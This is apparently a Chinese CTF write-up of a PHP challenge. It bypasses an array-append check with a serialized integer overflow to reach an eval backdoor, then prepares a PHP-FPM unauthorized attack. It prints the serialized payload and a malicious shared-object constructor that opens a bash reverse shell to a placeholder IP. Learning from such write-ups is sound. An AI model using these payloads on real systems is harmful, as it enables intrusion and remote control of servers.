这题弄了我3天时间,一开始是弹不了shell,以为是vps问题,换了个vps还是不行,又检查了pyload,又改了 so文件还是不行,最后反复检查 也算是彻底了解了这道题的考点。
开始吧。
源码:
add_api.php
<?php
show_source(__FILE__);
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
user.php
<?php
class User{
public $count;
}
?>
代码add_app.php包含user.php 将cookie 中的data 反序列化为 $user对象。将user 中 的count +1作为 count的下表 并给此元素赋值为1,然后进行if判断count[]=1的意思就是给此数组末尾添加一个元素,值为1。那这里第一个考点就已经出来了,倘若我将count设为最大值-1的数字,那么在经历过自增后,该count为最大值,再进行$count[]=1操作,由于数组已经达到最大值了,数组末尾无法添加元素,所以此操作出错,执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的,32位上为2147483647,64位上为9223372036854775807,所以这里我们应该设置count为9223372036854775806,写个序列化脚本生成序列化字符串
<?php
class User
{
public $count=9223372036854775806;
}
echo serialize(new User);
?>
//O:4:"User":1:{s:5:"count";i:9223372036854775806;}
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
绕过之后,我们就可以进行到eval 函数。
传一个backdoor吧。
既然能看到phpinfo()了 。那么我们连一下蚁剑。
Cookie记得传data 不然连不上去
进到里面flag 是无法直接读取的,
猜测是没有权限,继续往下再分析一下 phpinfo.
果然是设置了open_basedir,我们需要进行绕过,如果对这个不熟悉的话,看看我之前写的博客。浅谈绕过open_basedir 的几种用法_snowlyzz的博客-CSDN博客
因为open_basedir 对目录又限制,所以我们只能对/var/www/html下的文件进行操作。但是我试了下,可以访问php.ini 配置文件:/user/local/etc/php/php.ini ,这种linux的文件路径和windows的是不一样的。
这个异常的so文件,看其他师傅说是可以pwn。但是我不会 于是再看看nginx的配置文件。
路径:/etc/nginx/sites-enabled/default
发现他是开启了 fastcgi ,这里的考点应该是利用FPM未授权漏洞对其攻击。
FPM未授权攻击。
先在linux 构造恶意的 so 文件,最好先更新一下gcc:linux安装gcc命令步骤(centos安装gcc命令)_sunsineq的博客-CSDN博客_gcc安装命令
在linux 创建 一个 . c 文件
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/your_IP/7777 0>&1'");
}
然后:
gcc payload.c -fPIC -shared -o payload.so
进行编译文件。
然后使用xftp 把你vps 下的 so 文件传输到你wiindows 上,然后在蚁剑上传到题目环境的/var/www/html/目录下